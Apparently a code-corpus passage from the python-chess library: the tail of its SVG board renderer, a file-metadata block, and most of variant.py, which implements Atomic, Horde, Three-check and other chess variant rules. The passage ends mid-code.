inner_border, "height": full_size - 2 * outer_border - 2 * margin - inner_border, "fill": "none", "stroke": inner_border_color, "stroke-width": inner_border, "opacity": inner_border_opacity if inner_border_opacity < 1.0 else None, })) # Render coordinates. if coordinates: coord_color, coord_opacity = _select_color(colors, "coord") for file_index, file_name in enumerate(chess.FILE_NAMES): x = (file_index if orientation else 7 - file_index) * SQUARE_SIZE + board_offset # Keep some padding here to separate the ascender from the border svg.append(_coord(file_name, x, 1, SQUARE_SIZE, margin, True, margin, color=coord_color, opacity=coord_opacity)) svg.append(_coord(file_name, x, full_size - outer_border - margin, SQUARE_SIZE, margin, True, margin, color=coord_color, opacity=coord_opacity)) for rank_index, rank_name in enumerate(chess.RANK_NAMES): y = (7 - rank_index if orientation else rank_index) * SQUARE_SIZE + board_offset svg.append(_coord(rank_name, 0, y, margin, SQUARE_SIZE, False, margin, color=coord_color, opacity=coord_opacity)) svg.append(_coord(rank_name, full_size - outer_border - margin, y, margin, SQUARE_SIZE, False, margin, color=coord_color, opacity=coord_opacity)) # Render board. for square, bb in enumerate(chess.BB_SQUARES): file_index = chess.square_file(square) rank_index = chess.square_rank(square) x = (file_index if orientation else 7 - file_index) * SQUARE_SIZE + board_offset y = (7 - rank_index if orientation else rank_index) * SQUARE_SIZE + board_offset cls = ["square", "light" if chess.BB_LIGHT_SQUARES & bb else "dark"] if lastmove and square in [lastmove.from_square, lastmove.to_square]: cls.append("lastmove") square_color, square_opacity = _select_color(colors, " ".join(cls)) cls.append(chess.SQUARE_NAMES[square]) ET.SubElement(svg, "rect", _attrs({ "x": x, "y": y, "width": SQUARE_SIZE, "height": SQUARE_SIZE, "class": " ".join(cls), "stroke": "none", "fill": square_color, "opacity": square_opacity if square_opacity < 1.0 else None, })) try: fill_color, fill_opacity = _color(fill[square]) except KeyError: pass else: ET.SubElement(svg, "rect", _attrs({ "x": x, "y": y, "width": SQUARE_SIZE, "height": SQUARE_SIZE, "stroke": "none", "fill": fill_color, "opacity": fill_opacity if fill_opacity < 1.0 else None, })) # Render check mark. if check is not None: file_index = chess.square_file(check) rank_index = chess.square_rank(check) x = (file_index if orientation else 7 - file_index) * SQUARE_SIZE + board_offset y = (7 - rank_index if orientation else rank_index) * SQUARE_SIZE + board_offset ET.SubElement(svg, "rect", _attrs({ "x": x, "y": y, "width": SQUARE_SIZE, "height": SQUARE_SIZE, "class": "check", "fill": "url(#check_gradient)", })) # Render pieces and selected squares. for square, bb in enumerate(chess.BB_SQUARES): file_index = chess.square_file(square) rank_index = chess.square_rank(square) x = (file_index if orientation else 7 - file_index) * SQUARE_SIZE + board_offset y = (7 - rank_index if orientation else rank_index) * SQUARE_SIZE + board_offset if board is not None: piece = board.piece_at(square) if piece: href = f"#{chess.COLOR_NAMES[piece.color]}-{chess.PIECE_NAMES[piece.piece_type]}" ET.SubElement(svg, "use", { "href": href, "xlink:href": href, "transform": f"translate({x:d}, {y:d})", }) # Render selected squares. if square in squares: ET.SubElement(svg, "use", _attrs({ "href": "#xx", "xlink:href": "#xx", "x": x, "y": y, })) # Render arrows. for arrow in arrows: try: tail, head, color = arrow.tail, arrow.head, arrow.color # type: ignore except AttributeError: tail, head = arrow # type: ignore color = "green" try: color, opacity = _select_color(colors, " ".join(["arrow", color])) except KeyError: opacity = 1.0 tail_file = chess.square_file(tail) tail_rank = chess.square_rank(tail) head_file = chess.square_file(head) head_rank = chess.square_rank(head) xtail = board_offset + (tail_file + 0.5 if orientation else 7.5 - tail_file) * SQUARE_SIZE ytail = board_offset + (7.5 - tail_rank if orientation else tail_rank + 0.5) * SQUARE_SIZE xhead = board_offset + (head_file + 0.5 if orientation else 7.5 - head_file) * SQUARE_SIZE yhead = board_offset + (7.5 - head_rank if orientation else head_rank + 0.5) * SQUARE_SIZE if (head_file, head_rank) == (tail_file, tail_rank): ET.SubElement(svg, "circle", _attrs({ "cx": xhead, "cy": yhead, "r": SQUARE_SIZE * 0.9 / 2, "stroke-width": SQUARE_SIZE * 0.1, "stroke": color, "opacity": opacity if opacity < 1.0 else None, "fill": "none", "class": "circle", })) else: marker_size = 0.75 * SQUARE_SIZE marker_margin = 0.1 * SQUARE_SIZE dx, dy = xhead - xtail, yhead - ytail hypot = math.hypot(dx, dy) shaft_x = xhead - dx * (marker_size + marker_margin) / hypot shaft_y = yhead - dy * (marker_size + marker_margin) / hypot xtip = xhead - dx * marker_margin / hypot ytip = yhead - dy * marker_margin / hypot ET.SubElement(svg, "line", _attrs({ "x1": xtail, "y1": ytail, "x2": shaft_x, "y2": shaft_y, "stroke": color, "opacity": opacity if opacity < 1.0 else None, "stroke-width": SQUARE_SIZE * 0.2, "stroke-linecap": "butt", "class": "arrow", })) marker = [(xtip, ytip), (shaft_x + dy * 0.5 * marker_size / hypot, shaft_y - dx * 0.5 * marker_size / hypot), (shaft_x - dy * 0.5 * marker_size / hypot, shaft_y + dx * 0.5 * marker_size / hypot)] ET.SubElement(svg, "polygon", _attrs({ "points": " ".join(f"{x},{y}" for x, y in marker), "fill": color, "opacity": opacity if opacity < 1.0 else None, "class": "arrow", })) return SvgWrapper(ET.tostring(svg).decode("utf-8"))
32,625
Python
.py
430
66.537209
1,203
0.594425
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,417
variant.py
niklasf_python-chess/chess/variant.py
from __future__ import annotations import chess import itertools import typing from typing import Dict, Generic, Hashable, Iterable, Iterator, List, Optional, Type, TypeVar, Union if typing.TYPE_CHECKING: from typing_extensions import Self class SuicideBoard(chess.Board): aliases = ["Suicide", "Suicide chess"] uci_variant = "suicide" xboard_variant = "suicide" tbw_suffix = ".stbw" tbz_suffix = ".stbz" tbw_magic = b"\x7b\xf6\x93\x15" tbz_magic = b"\xe4\xcf\xe7\x23" pawnless_tbw_suffix = ".gtbw" pawnless_tbz_suffix = ".gtbz" pawnless_tbw_magic = b"\xbc\x55\xbc\x21" pawnless_tbz_magic = b"\xd6\xf5\x1b\x50" connected_kings = True one_king = False captures_compulsory = True def pin_mask(self, color: chess.Color, square: chess.Square) -> chess.Bitboard: return chess.BB_ALL def _attacked_for_king(self, path: chess.Bitboard, occupied: chess.Bitboard) -> bool: return False def checkers_mask(self) -> chess.Bitboard: return chess.BB_EMPTY def gives_check(self, move: chess.Move) -> bool: return False def is_into_check(self, move: chess.Move) -> bool: return False def was_into_check(self) -> bool: return False def _material_balance(self) -> int: return (chess.popcount(self.occupied_co[self.turn]) - chess.popcount(self.occupied_co[not self.turn])) def is_variant_end(self) -> bool: return not all(has_pieces for has_pieces in self.occupied_co) def is_variant_win(self) -> bool: if not self.occupied_co[self.turn]: return True else: return self.is_stalemate() and self._material_balance() < 0 def is_variant_loss(self) -> bool: if not self.occupied_co[self.turn]: return False else: return self.is_stalemate() and self._material_balance() > 0 def is_variant_draw(self) -> bool: if not self.occupied_co[self.turn]: return False else: return self.is_stalemate() and self._material_balance() == 0 def has_insufficient_material(self, color: chess.Color) -> bool: if not self.occupied_co[color]: return False elif not self.occupied_co[not color]: return True elif self.occupied == self.bishops: # In a position with only bishops, check if all our bishops can be # captured. we_some_on_light = bool(self.occupied_co[color] & chess.BB_LIGHT_SQUARES) we_some_on_dark = bool(self.occupied_co[color] & chess.BB_DARK_SQUARES) they_all_on_dark = not (self.occupied_co[not color] & chess.BB_LIGHT_SQUARES) they_all_on_light = not (self.occupied_co[not color] & chess.BB_DARK_SQUARES) return (we_some_on_light and they_all_on_dark) or (we_some_on_dark and they_all_on_light) elif self.occupied == self.knights and chess.popcount(self.knights) == 2: return ( self.turn == color ^ bool(self.occupied_co[chess.WHITE] & chess.BB_LIGHT_SQUARES) ^ bool(self.occupied_co[chess.BLACK] & chess.BB_DARK_SQUARES)) else: return False def generate_pseudo_legal_moves(self, from_mask: chess.Bitboard = chess.BB_ALL, to_mask: chess.Bitboard = chess.BB_ALL) -> Iterator[chess.Move]: for move in super().generate_pseudo_legal_moves(from_mask, to_mask): # Add king promotions. if move.promotion == chess.QUEEN: yield chess.Move(move.from_square, move.to_square, chess.KING) yield move def generate_legal_moves(self, from_mask: chess.Bitboard = chess.BB_ALL, to_mask: chess.Bitboard = chess.BB_ALL) -> Iterator[chess.Move]: if self.is_variant_end(): return # Generate captures first. found_capture = False for move in self.generate_pseudo_legal_captures(): if chess.BB_SQUARES[move.from_square] & from_mask and chess.BB_SQUARES[move.to_square] & to_mask: yield move found_capture = True # Captures are mandatory. Stop here if any were found. if not found_capture: not_them = to_mask & ~self.occupied_co[not self.turn] for move in self.generate_pseudo_legal_moves(from_mask, not_them): if not self.is_en_passant(move): yield move def is_legal(self, move: chess.Move) -> bool: if not super().is_legal(move): return False if self.is_capture(move): return True else: return not any(self.generate_pseudo_legal_captures()) def _transposition_key(self) -> Hashable: if self.has_chess960_castling_rights(): return (super()._transposition_key(), self.kings & self.promoted) else: return super()._transposition_key() def board_fen(self, *, promoted: Optional[bool] = None) -> str: if promoted is None: promoted = self.has_chess960_castling_rights() return super().board_fen(promoted=promoted) def status(self) -> chess.Status: status = super().status() status &= ~chess.STATUS_NO_WHITE_KING status &= ~chess.STATUS_NO_BLACK_KING status &= ~chess.STATUS_TOO_MANY_KINGS status &= ~chess.STATUS_OPPOSITE_CHECK return status class GiveawayBoard(SuicideBoard): aliases = ["Giveaway", "Giveaway chess", "Give away", "Give away chess"] uci_variant = "giveaway" xboard_variant = "giveaway" tbw_suffix = ".gtbw" tbz_suffix = ".gtbz" tbw_magic = b"\xbc\x55\xbc\x21" tbz_magic = b"\xd6\xf5\x1b\x50" pawnless_tbw_suffix = ".stbw" pawnless_tbz_suffix = ".stbz" pawnless_tbw_magic = b"\x7b\xf6\x93\x15" pawnless_tbz_magic = b"\xe4\xcf\xe7\x23" def is_variant_win(self) -> bool: return not self.occupied_co[self.turn] or self.is_stalemate() def is_variant_loss(self) -> bool: return False def is_variant_draw(self) -> bool: return False class AntichessBoard(GiveawayBoard): aliases = ["Antichess", "Anti chess", "Anti"] uci_variant = "antichess" # Unofficial starting_fen = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w - - 0 1" def __init__(self, fen: Optional[str] = starting_fen, chess960: bool = False) -> None: super().__init__(fen, chess960=chess960) def reset(self) -> None: super().reset() self.castling_rights = chess.BB_EMPTY class AtomicBoard(chess.Board): aliases = ["Atomic", "Atom", "Atomic chess"] uci_variant = "atomic" xboard_variant = "atomic" tbw_suffix = ".atbw" tbz_suffix = ".atbz" tbw_magic = b"\x55\x8d\xa4\x49" tbz_magic = b"\x91\xa9\x5e\xeb" connected_kings = True def is_variant_end(self) -> bool: return not all(self.kings & side for side in self.occupied_co) def is_variant_win(self) -> bool: return bool(self.kings and not self.kings & self.occupied_co[not self.turn]) def is_variant_loss(self) -> bool: return bool(self.kings and not self.kings & self.occupied_co[self.turn]) def has_insufficient_material(self, color: chess.Color) -> bool: # Remaining material does not matter if opponent's king is already # exploded. if not (self.occupied_co[not color] & self.kings): return False # Bare king can not mate. if not (self.occupied_co[color] & ~self.kings): return True # As long as the opponent's king is not alone, there is always a chance # their own pieces explode next to it. if self.occupied_co[not color] & ~self.kings: # Unless there are only bishops that cannot explode each other. if self.occupied == self.bishops | self.kings: if not (self.bishops & self.occupied_co[chess.WHITE] & chess.BB_DARK_SQUARES): return not (self.bishops & self.occupied_co[chess.BLACK] & chess.BB_LIGHT_SQUARES) if not (self.bishops & self.occupied_co[chess.WHITE] & chess.BB_LIGHT_SQUARES): return not (self.bishops & self.occupied_co[chess.BLACK] & chess.BB_DARK_SQUARES) return False # Queen or pawn (future queen) can give mate against bare king. if self.queens or self.pawns: return False # Single knight, bishop or rook cannot mate against bare king. if chess.popcount(self.knights | self.bishops | self.rooks) == 1: return True # Two knights cannot mate against bare king. if self.occupied == self.knights | self.kings: return chess.popcount(self.knights) <= 2 return False def _attacked_for_king(self, path: chess.Bitboard, occupied: chess.Bitboard) -> bool: # Can castle onto attacked squares if they are connected to the # enemy king. enemy_kings = self.kings & self.occupied_co[not self.turn] for enemy_king in chess.scan_forward(enemy_kings): path &= ~chess.BB_KING_ATTACKS[enemy_king] return super()._attacked_for_king(path, occupied) def _kings_connected(self) -> bool: white_kings = self.kings & self.occupied_co[chess.WHITE] black_kings = self.kings & self.occupied_co[chess.BLACK] return any(chess.BB_KING_ATTACKS[sq] & black_kings for sq in chess.scan_forward(white_kings)) def _push_capture(self, move: chess.Move, capture_square: chess.Square, piece_type: chess.PieceType, was_promoted: bool) -> None: explosion_radius = chess.BB_KING_ATTACKS[move.to_square] & ~self.pawns # Destroy castling rights. self.castling_rights &= ~explosion_radius if explosion_radius & self.kings & self.occupied_co[chess.WHITE] & ~self.promoted: self.castling_rights &= ~chess.BB_RANK_1 if explosion_radius & self.kings & self.occupied_co[chess.BLACK] & ~self.promoted: self.castling_rights &= ~chess.BB_RANK_8 # Explode the capturing piece. self._remove_piece_at(move.to_square) # Explode all non pawns around. for explosion in chess.scan_forward(explosion_radius): self._remove_piece_at(explosion) def checkers_mask(self) -> chess.Bitboard: return chess.BB_EMPTY if self._kings_connected() else super().checkers_mask() def was_into_check(self) -> bool: return not self._kings_connected() and super().was_into_check() def is_into_check(self, move: chess.Move) -> bool: self.push(move) was_into_check = self.was_into_check() self.pop() return was_into_check def is_legal(self, move: chess.Move) -> bool: if self.is_variant_end(): return False if not self.is_pseudo_legal(move): return False self.push(move) legal = bool(self.kings) and not self.is_variant_win() and (self.is_variant_loss() or not self.was_into_check()) self.pop() return legal def is_stalemate(self) -> bool: return not self.is_variant_loss() and super().is_stalemate() def generate_legal_moves(self, from_mask: chess.Bitboard = chess.BB_ALL, to_mask: chess.Bitboard = chess.BB_ALL) -> Iterator[chess.Move]: for move in self.generate_pseudo_legal_moves(from_mask, to_mask): if self.is_legal(move): yield move def status(self) -> chess.Status: status = super().status() status &= ~chess.STATUS_OPPOSITE_CHECK if self.turn == chess.WHITE: status &= ~chess.STATUS_NO_WHITE_KING else: status &= ~chess.STATUS_NO_BLACK_KING if chess.popcount(self.checkers_mask()) <= 14: status &= ~chess.STATUS_TOO_MANY_CHECKERS if self._valid_ep_square() is None: status &= ~chess.STATUS_IMPOSSIBLE_CHECK return status class KingOfTheHillBoard(chess.Board): aliases = ["King of the Hill", "KOTH", "kingOfTheHill"] uci_variant = "kingofthehill" xboard_variant = "kingofthehill" # Unofficial tbw_suffix = None tbz_suffix = None tbw_magic = None tbz_magic = None def is_variant_end(self) -> bool: return bool(self.kings & chess.BB_CENTER) def is_variant_win(self) -> bool: return bool(self.kings & self.occupied_co[self.turn] & chess.BB_CENTER) def is_variant_loss(self) -> bool: return bool(self.kings & self.occupied_co[not self.turn] & chess.BB_CENTER) def has_insufficient_material(self, color: chess.Color) -> bool: return False class RacingKingsBoard(chess.Board): aliases = ["Racing Kings", "Racing", "Race", "racingkings"] uci_variant = "racingkings" xboard_variant = "racingkings" # Unofficial starting_fen = "8/8/8/8/8/8/krbnNBRK/qrbnNBRQ w - - 0 1" tbw_suffix = None tbz_suffix = None tbw_magic = None tbz_magic = None def __init__(self, fen: Optional[str] = starting_fen, chess960: bool = False) -> None: super().__init__(fen, chess960=chess960) def reset(self) -> None: self.set_fen(type(self).starting_fen) def is_legal(self, move: chess.Move) -> bool: return super().is_legal(move) and not self.gives_check(move) def generate_legal_moves(self, from_mask: chess.Bitboard = chess.BB_ALL, to_mask: chess.Bitboard = chess.BB_ALL) -> Iterator[chess.Move]: for move in super().generate_legal_moves(from_mask, to_mask): if not self.gives_check(move): yield move def is_variant_end(self) -> bool: if not self.kings & chess.BB_RANK_8: return False black_kings = self.kings & self.occupied_co[chess.BLACK] if self.turn == chess.WHITE or black_kings & chess.BB_RANK_8 or not black_kings: return True # White has reached the backrank. The game is over if black can not # also reach the backrank on the next move. Check if there are any # safe squares for the king. black_king = chess.msb(black_kings) targets = chess.BB_KING_ATTACKS[black_king] & chess.BB_RANK_8 & ~self.occupied_co[chess.BLACK] return all(self.attackers_mask(chess.WHITE, target) for target in chess.scan_forward(targets)) def is_variant_draw(self) -> bool: in_goal = self.kings & chess.BB_RANK_8 return all(in_goal & side for side in self.occupied_co) def is_variant_loss(self) -> bool: return self.is_variant_end() and not self.kings & self.occupied_co[self.turn] & chess.BB_RANK_8 def is_variant_win(self) -> bool: in_goal = self.kings & chess.BB_RANK_8 return ( self.is_variant_end() and bool(in_goal & self.occupied_co[self.turn]) and not in_goal & self.occupied_co[not self.turn]) def has_insufficient_material(self, color: chess.Color) -> bool: return False def status(self) -> chess.Status: status = super().status() if self.is_check(): status |= chess.STATUS_RACE_CHECK | chess.STATUS_TOO_MANY_CHECKERS | chess.STATUS_IMPOSSIBLE_CHECK if self.turn == chess.BLACK and all(self.occupied_co[co] & self.kings & chess.BB_RANK_8 for co in chess.COLORS): status |= chess.STATUS_RACE_OVER if self.pawns: status |= chess.STATUS_RACE_MATERIAL for color in chess.COLORS: if chess.popcount(self.occupied_co[color] & self.knights) > 2: status |= chess.STATUS_RACE_MATERIAL if chess.popcount(self.occupied_co[color] & self.bishops) > 2: status |= chess.STATUS_RACE_MATERIAL if chess.popcount(self.occupied_co[color] & self.rooks) > 2: status |= chess.STATUS_RACE_MATERIAL if chess.popcount(self.occupied_co[color] & self.queens) > 1: status |= chess.STATUS_RACE_MATERIAL return status class HordeBoard(chess.Board): aliases = ["Horde", "Horde chess"] uci_variant = "horde" xboard_variant = "horde" # Unofficial starting_fen = "rnbqkbnr/pppppppp/8/1PP2PP1/PPPPPPPP/PPPPPPPP/PPPPPPPP/PPPPPPPP w kq - 0 1" tbw_suffix = None tbz_suffix = None tbw_magic = None tbz_magic = None def __init__(self, fen: Optional[str] = starting_fen, chess960: bool = False) -> None: super().__init__(fen, chess960=chess960) def reset(self) -> None: self.set_fen(type(self).starting_fen) def is_variant_end(self) -> bool: return not all(has_pieces for has_pieces in self.occupied_co) def is_variant_draw(self) -> bool: return not self.occupied def is_variant_loss(self) -> bool: return bool(self.occupied) and not self.occupied_co[self.turn] def is_variant_win(self) -> bool: return bool(self.occupied) and not self.occupied_co[not self.turn] def has_insufficient_material(self, color: chess.Color) -> bool: # The side with the king can always win by capturing the Horde. if color == chess.BLACK: return False # See https://github.com/stevepapazis/horde-insufficient-material-tests # for how the following has been derived. white = self.occupied_co[chess.WHITE] queens = chess.popcount(white & self.queens) pawns = chess.popcount(white & self.pawns) rooks = chess.popcount(white & self.rooks) bishops = chess.popcount(white & self.bishops) knights = chess.popcount(white & self.knights) # Two same color bishops suffice to cover all the light and dark # squares around the enemy king. horde_darkb = chess.popcount(chess.BB_DARK_SQUARES & white & self.bishops) horde_lightb = chess.popcount(chess.BB_LIGHT_SQUARES & white & self.bishops) horde_bishop_co = chess.WHITE if horde_lightb >= 1 else chess.BLACK horde_num = ( pawns + knights + rooks + queens + (horde_darkb if horde_darkb <= 2 else 2) + (horde_lightb if horde_lightb <= 2 else 2) ) pieces = self.occupied_co[chess.BLACK] pieces_pawns = chess.popcount(pieces & self.pawns) pieces_bishops = chess.popcount(pieces & self.bishops) pieces_knights = chess.popcount(pieces & self.knights) pieces_rooks = chess.popcount(pieces & self.rooks) pieces_queens = chess.popcount(pieces & self.queens) pieces_darkb = chess.popcount(chess.BB_DARK_SQUARES & pieces & self.bishops) pieces_lightb = chess.popcount(chess.BB_LIGHT_SQUARES & pieces & self.bishops) pieces_num = chess.popcount(pieces) def pieces_oppositeb_of(square_color: chess.Color) -> int: return pieces_darkb if square_color == chess.WHITE else pieces_lightb def pieces_sameb_as(square_color: chess.Color) -> int: return pieces_lightb if square_color == chess.WHITE else pieces_darkb def pieces_of_type_not(piece: int) -> int: return pieces_num - piece def has_bishop_pair(side: chess.Color) -> bool: return (horde_lightb >= 1 and horde_darkb >= 1) if side == chess.WHITE else (pieces_lightb >= 1 and pieces_darkb >= 1) if horde_num == 0: return True if horde_num >= 4: # Four or more white pieces can always deliver mate. return False if (pawns >= 1 or queens >= 1) and horde_num >= 2: # Pawns/queens are never insufficient material when paired with any other # piece (a pawn promotes to a queen and delivers mate). return False if rooks >= 1 and horde_num >= 2: # A rook is insufficient material only when it is paired with a bishop # against a lone king. The horde can mate in any other case. # A rook on A1 and a bishop on C3 mate a king on B1 when there is a # friendly pawn/opposite-color-bishop/rook/queen on C2. # A rook on B8 and a bishop C3 mate a king on A1 when there is a friendly # knight on A2. if not (horde_num == 2 and rooks == 1 and bishops == 1 and pieces_of_type_not(pieces_sameb_as(horde_bishop_co)) == 1): return False if horde_num == 1: if pieces_num == 1: # A lone piece cannot mate a lone king. return True elif queens == 1: # The horde has a lone queen. # A lone queen mates a king on A1 bounded by: # - a pawn/rook on A2 # - two same color bishops on A2, B1 # We ignore every other mating case, since it can be reduced to # the two previous cases (e.g. a black pawn on A2 and a black # bishop on B1). return not ( pieces_pawns >= 1 or pieces_rooks >= 1 or pieces_lightb >= 2 or pieces_darkb >= 2 ) elif pawns == 1: # Promote the pawn to a queen or a knight and check whether # white can mate. pawn_square = chess.SquareSet(self.pawns & white).pop() promote_to_queen = self.copy(stack=False) promote_to_queen.set_piece_at(pawn_square, chess.Piece(chess.QUEEN, chess.WHITE)) promote_to_knight = self.copy(stack=False) promote_to_knight.set_piece_at(pawn_square, chess.Piece(chess.KNIGHT, chess.WHITE)) return promote_to_queen.has_insufficient_material(chess.WHITE) and promote_to_knight.has_insufficient_material(chess.WHITE) elif rooks == 1: # A lone rook mates a king on A8 bounded by a pawn/rook on A7 and a # pawn/knight on B7. We ignore every other case, since it can be # reduced to the two previous cases. # (e.g. three pawns on A7, B7, C7) return not ( pieces_pawns >= 2 or (pieces_rooks >= 1 and pieces_pawns >= 1) or (pieces_rooks >= 1 and pieces_knights >= 1) or (pieces_pawns >= 1 and pieces_knights >= 1) ) elif bishops == 1: # The horde has a lone bishop. return not ( # The king can be mated on A1 if there is a pawn/opposite-color-bishop # on A2 and an opposite-color-bishop on B1. # If black has two or more pawns, white gets the benefit of the doubt; # there is an outside chance that white promotes its pawns to # opposite-color-bishops and selfmates theirself. # Every other case that the king is mated by the bishop requires that # black has two pawns or two opposite-color-bishop or a pawn and an # opposite-color-bishop. # For example a king on A3 can be mated if there is # a pawn/opposite-color-bishop on A4, a pawn/opposite-color-bishop on # B3, a pawn/bishop/rook/queen on A2 and any other piece on B2. pieces_oppositeb_of(horde_bishop_co) >= 2 or (pieces_oppositeb_of(horde_bishop_co) >= 1 and pieces_pawns >= 1) or pieces_pawns >= 2 ) elif knights == 1: # The horde has a lone knight. return not ( # The king on A1 can be smother mated by a knight on C2 if there is # a pawn/knight/bishop on B2, a knight/rook on B1 and any other piece # on A2. # Moreover, when black has four or more pieces and two of them are # pawns, black can promote their pawns and selfmate theirself. pieces_num >= 4 and ( pieces_knights >= 2 or pieces_pawns >= 2 or (pieces_rooks >= 1 and pieces_knights >= 1) or (pieces_rooks >= 1 and pieces_bishops >= 1) or (pieces_knights >= 1 and pieces_bishops >= 1) or (pieces_rooks >= 1 and pieces_pawns >= 1) or (pieces_knights >= 1 and pieces_pawns >= 1) or (pieces_bishops >= 1 and pieces_pawns >= 1) or (has_bishop_pair(chess.BLACK) and pieces_pawns >= 1) ) and (pieces_of_type_not(pieces_darkb) >= 3 if pieces_darkb >= 2 else True) and (pieces_of_type_not(pieces_lightb) >= 3 if pieces_lightb >= 2 else True) ) elif horde_num == 2: # By this point, we only need to deal with white's minor pieces. if pieces_num == 1: # Two minor pieces cannot mate a lone king. return True elif knights == 2: # A king on A1 is mated by two knights, if it is obstructed by a # pawn/bishop/knight on B2. On the other hand, if black only has # major pieces it is a draw. return not (pieces_pawns + pieces_bishops + pieces_knights >= 1) elif has_bishop_pair(chess.WHITE): return not ( # A king on A1 obstructed by a pawn/bishop on A2 is mated # by the bishop pair. pieces_pawns >= 1 or pieces_bishops >= 1 or # A pawn/bishop/knight on B4, a pawn/bishop/rook/queen on # A4 and the king on A3 enable Boden's mate by the bishop # pair. In every other case white cannot win. (pieces_knights >= 1 and pieces_rooks + pieces_queens >= 1) ) elif bishops >= 1 and knights >= 1: # The horde has a bishop and a knight. return not ( # A king on A1 obstructed by a pawn/opposite-color-bishop on # A2 is mated by a knight on D2 and a bishop on C3. pieces_pawns >= 1 or pieces_oppositeb_of(horde_bishop_co) >= 1 or # A king on A1 bounded by two friendly pieces on A2 and B1 is # mated when the knight moves from D4 to C2 so that both the # knight and the bishop deliver check. pieces_of_type_not(pieces_sameb_as(horde_bishop_co)) >= 3 ) else: # The horde has two or more bishops on the same color. # White can only win if black has enough material to obstruct # the squares of the opposite color around the king. return not ( # A king on A1 obstructed by a pawn/opposite-bishop/knight # on A2 and a opposite-bishop/knight on B1 is mated by two # bishops on B2 and C3. This position is theoretically # achievable even when black has two pawns or when they # have a pawn and an opposite color bishop. (pieces_pawns >= 1 and pieces_oppositeb_of(horde_bishop_co) >= 1) or (pieces_pawns >= 1 and pieces_knights >= 1) or (pieces_oppositeb_of(horde_bishop_co) >= 1 and pieces_knights >= 1) or (pieces_oppositeb_of(horde_bishop_co) >= 2) or pieces_knights >= 2 or pieces_pawns >= 2 # In every other case, white can only draw. ) elif horde_num == 3: # A king in the corner is mated by two knights and a bishop or three # knights or the bishop pair and a knight/bishop. if (knights == 2 and bishops == 1) or knights == 3 or has_bishop_pair(chess.WHITE): return False else: # White has two same color bishops and a knight. # A king on A1 is mated by a bishop on B2, a bishop on C1 and a # knight on C3, as long as there is another black piece to waste # a tempo. return pieces_num == 1 return True def status(self) -> chess.Status: status = super().status() status &= ~chess.STATUS_NO_WHITE_KING if chess.popcount(self.occupied_co[chess.WHITE]) <= 36: status &= ~chess.STATUS_TOO_MANY_WHITE_PIECES status &= ~chess.STATUS_TOO_MANY_WHITE_PAWNS if not self.pawns & chess.BB_RANK_8 and not self.occupied_co[chess.BLACK] & self.pawns & chess.BB_RANK_1: status &= ~chess.STATUS_PAWNS_ON_BACKRANK if self.occupied_co[chess.WHITE] & self.kings: status |= chess.STATUS_TOO_MANY_KINGS return status ThreeCheckBoardT = TypeVar("ThreeCheckBoardT", bound="ThreeCheckBoard") class _ThreeCheckBoardState: def __init__(self, board: ThreeCheckBoard) -> None: self.remaining_checks_w = board.remaining_checks[chess.WHITE] self.remaining_checks_b = board.remaining_checks[chess.BLACK] def restore(self, board: ThreeCheckBoard) -> None: board.remaining_checks[chess.WHITE] = self.remaining_checks_w board.remaining_checks[chess.BLACK] = self.remaining_checks_b class ThreeCheckBoard(chess.Board): aliases = ["Three-check", "Three check", "Threecheck", "Three check chess", "3-check", "3 check", "3check"] uci_variant = "3check" xboard_variant = "3check" starting_fen = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 3+3 0 1" tbw_suffix = None tbz_suffix = None tbw_magic = None tbz_magic = None def __init__(self, fen: Optional[str] = starting_fen, chess960: bool = False) -> None: self.remaining_checks = [3, 3] self._three_check_stack: List[_ThreeCheckBoardState] = [] super().__init__(fen, chess960=chess960) def clear_stack(self) -> None: super().clear_stack() self._three_check_stack.clear() def reset_board(self) -> None: super().reset_board() self.remaining_checks[chess.WHITE] = 3 self.remaining_checks[chess.BLACK] = 3 def clear_board(self) -> None: super().clear_board() self.remaining_checks[chess.WHITE] = 3 self.remaining_checks[chess.BLACK] = 3 def push(self, move: chess.Move) -> None: self._three_check_stack.append(_ThreeCheckBoardState(self)) super().push(move) if self.is_check(): self.remaining_checks[not self.turn] -= 1 def pop(self) -> chess.Move: move = super().pop() self._three_check_stack.pop().restore(self) return move def has_insufficient_material(self, color: chess.Color) -> bool: # Any remaining piece can give check. return not (self.occupied_co[color] & ~self.kings) def set_epd(self, epd: str) -> Dict[str, Union[None, str, int, float, chess.Move, List[chess.Move]]]: parts = epd.strip().rstrip(";").split(None, 5) # Parse ops. if len(parts) > 5: operations = self._parse_epd_ops(parts.pop(), lambda: type(self)(" ".join(parts) + " 0 1")) parts.append(str(operations["hmvc"]) if "hmvc" in operations else "0") parts.append(str(operations["fmvn"]) if "fmvn" in operations else "1") self.set_fen(" ".join(parts)) return operations else: self.set_fen(epd) return {} def set_fen(self, fen: str) -> None: parts = fen.split() # Extract check part. if len(parts) >= 7 and parts[6][0] == "+": check_part = parts.pop(6) try: w, b = check_part[1:].split("+", 1) wc, bc = 3 - int(w), 3 - int(b) except ValueError: raise ValueError(f"invalid check part in lichess three-check fen: {check_part!r}") elif len(parts) >= 5 and "+" in parts[4]: check_part = parts.pop(4) try: w, b = check_part.split("+", 1) wc, bc = int(w), int(b) except ValueError: raise ValueError(f"invalid check part in three-check fen: {check_part!r}") else: wc, bc = 3, 3 # Set fen. super().set_fen(" ".join(parts)) self.remaining_checks[chess.WHITE] = wc self.remaining_checks[chess.BLACK] = bc def epd(self, shredder: bool = False, en_passant: chess.EnPassantSpec = "legal", promoted: Optional[bool] = None, **operations: Union[None, str, int, float, chess.Move, Iterable[chess.Move]]) -> str: epd = [super().epd(shredder=shredder, en_passant=en_passant, promoted=promoted), "{:d}+{:d}".format(max(self.remaining_checks[chess.WHITE], 0), max(self.remaining_checks[chess.BLACK], 0))] if operations: epd.append(self._epd_operations(operations)) return " ".join(epd) def is_variant_end(self) -> bool: return any(remaining_checks <= 0 for remaining_checks in self.remaining_checks) def is_variant_draw(self) -> bool: return self.remaining_checks[chess.WHITE] <= 0 and self.remaining_checks[chess.BLACK] <= 0 def is_variant_loss(self) -> bool: return self.remaining_checks[not self.turn] <= 0 < self.remaining_checks[self.turn] def is_variant_win(self) -> bool: return self.remaining_checks[self.turn] <= 0 < self.remaining_checks[not self.turn] def is_irreversible(self, move: chess.Move) -> bool: return super().is_irreversible(move) or self.gives_check(move) def _transposition_key(self) -> Hashable: return (super()._transposition_key(), 